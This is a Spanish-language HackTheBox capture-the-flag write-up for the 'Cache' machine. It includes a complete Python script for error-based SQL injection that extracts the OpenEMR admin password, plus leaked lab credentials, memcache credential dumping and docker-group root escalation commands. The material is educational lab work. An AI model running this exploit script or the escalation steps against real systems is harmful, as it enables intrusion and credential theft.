Cache | CTF Writeup - HackTheBox
Cache
Iniciamos un escaneo de nuestro target con
nmap
.
1
2
3
4
5
6
7
8
9
10
11
12
13
> nmap -sS -T5 --min-rate 5000 -vvv -Pn -n -p- --open -oN scan.txt 10.10.10.188
Nmap scan report for 10.10.10.188
Host is up, received user-set (0.50s latency).
Scanned at 2024-03-19 23:28:47 -03 for 139s
Not shown: 52549 filtered tcp ports (no-response), 12984 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Mar 19 23:31:06 2024 -- 1 IP address (1 host up) scanned in 139.25 seconds
Enumeramos versión de puertos y servicios, en este caso, del puerto 22 y 80.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
> nmap -sCV -Pn -n -p22,80 -oN versions.txt 10.10.10.188
Nmap scan report for 10.10.10.188
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_ 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 19 23:33:59 2024 -- 1 IP address (1 host up) scanned in 20.06 seconds
Vamos a inspeccionar la web para ver posibles superficies de ataque.
Vemos una página de login. Intentemos ver si podemos autenticarnos de alguna manera.
Si inspeccionamos el código fuente de la página, vemos un archivo sospechoso.
Veamos qué contiene este archivo
functionality.js
navegando por la web.
Curiosamente, tiene unas credenciales. Si intentamos iniciar sesión en el login de hoy con las credenciales
ash:H@v3_fun
, podremos acceder pero no hay nada interesante. En la página del autor tenemos lo siguiente:
Esto nos puede llegar a indicar dos dominios que se aplican a través de Virtual Hosting. Añadimos
hms.htb
ycache.htb
a nuestro archivo/etc/hosts
para verificarlo, apuntando a la IP de la máquina víctima.
Si ingresamos a
hms.htb
:
Interesante. Si buscamos en internet por vulnerabilidades en este software, encontraremos varios reportes. En mi caso, me llamo la atención este reporte. Corresponde a la versión 5.0.1.3 del proyecto.
En teoría, podemos acceder sin autenticarnos a varias de las páginas de esta web, como lo dice la sección 2.0 de la tabla de contenidos del reporte brindado.
Efectivamente, tenemos acceso a una de las páginas sin brindar contraseña.
En teoría, además tenemos una inyección SQL.
Esto se da en el campo
eid
de la URL.
Si agarramos este POC e intentamos, por ejemplo, enumerar la base de datos modificando la query:
Para este proceso, me fabriqué un script que enumerará tablas y columnas según lo hardcodeaba. Lo optimicé para que enumere rápidamente la contraseña del usuario
openemr_admin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
import requests, sys, signal
from argparse import ArgumentParser
import re
from termcolor import colored
from pwn import *
def ctrl_c(sig,frame):
print(colored("[!] Exiting...", "red"))
sys.exit(1)
signal.signal(signal.SIGINT,ctrl_c)
def get_args():
parser = ArgumentParser(prog="OPENEMR SQLI", description="SQL Injection Automation")
parser.add_argument("-t", "--target", dest="target", required=True)
args = parser.parse_args()
return args.target
def start_sqli(target):
main_url = f"http://{target}/portal/add_edit_event_user.php"
cookies = {
"OpenEMR": "rep74vbla2nihs94ab7m7tksqu", # modificar cookies
"PHPSESSID": "fombcbq581l1anbq9a23j0lq8q"
}
get_password(main_url, cookies)
def get_password(main_url,cookies):
index = 0
p = log.progress("Retrieving Data")
password = ""
while True:
r_data = {
"eid": f"1 AND EXTRACTVALUE(0,CONCAT(0x5c,(select substring(password,{index},1) from openemr.users_secure limit 0,1)))",
}
r = requests.get(main_url, params=r_data, cookies=cookies)
match = re.search(r"XPATH syntax error: '(.+?)'", r.text).group(1)
index+=1
if(match):
password+=match
password = re.sub(r'\\', '', password)
p.status(password)
continue
else:
p.success("Got the password! Pass: " + password)
break
if __name__ == '__main__':
target = get_args()
start_sqli(target)
Este script me dumpeó una contraseña hasheada que pude crackearla con
john
, usando el diccionariorockyou.txt
.
Iniciamos sesión exitosamente en el portal de administrador. Ahora solo nos falta ver una forma de poder ejecutar comandos en la máquina víctima. Por suerte, el reporte también habla de un Remote Code Execution autenticado en la sección 6.0.
Por mi parte, estaré empleando un script sacado de
searchsploit
filtrando por RCE y openemr. Este es el script.
Una vez dentro, intentamos migrar al usuario ash con la contraseña filtrada por el archivo
functionality.js
que habíamos visto previamente.
Si nos fijamos en las conexiones con el comando
netstat -nat
, veremos que está corriendomemcache
como servicio en el puerto 11211.
Para guiarme en la explotación de este servicio, estaré ayudandome con el artículo de HackTricks. Nos conectamos con
nc
y enumeramos items.
Listo! Tenemos las credenciales del usuario
luffy
. Migramos correctamente y vemos que estamos en el grupo docker.
Esto significa que tenemos una vía potencial de escalar privilegios. Utilizando una imagen podemos montar la raíz del sistema host en un contenedor, y si un archivo se ve afectado en el contenedor, también se ve reflejado en el sistema host por el archivo
docker.sock
.
Listamos las imágenes.
Hacemos el siguiente procedimiento:
- Erratas: chmod u+s /mnt/root/bin/bash
Explicación:
docker run -dit v /:/mnt/root 2ca708c1c9cc
: Montamos la raíz del sistema en el contenedor, más específicamente en/mnt/root
, usando la imagen previamente creada, y corremos el contenedor en segundo plano.docker exec -it 7e66300b7e8eee888e7d1d7e7d5562f889dfa5042e026e57163b50aaa1643c7 bash
: Ejecutamos bash en el contenedor creado.chmod u+s /mnt/root/bin/bash
: Cambiamos el binario /bin/bash a SUID. Esto no solo cambia el binario en el contenedor, sino que también lo cambia en la máquina host por la montura que habiamos hecho previamente.
Salimos del contenedor con
exit
y hacemos unbash -p
. Tendremos una consola como root en la máquina Host! Listo, hemos vulnerado la máquina y escalado privilegios.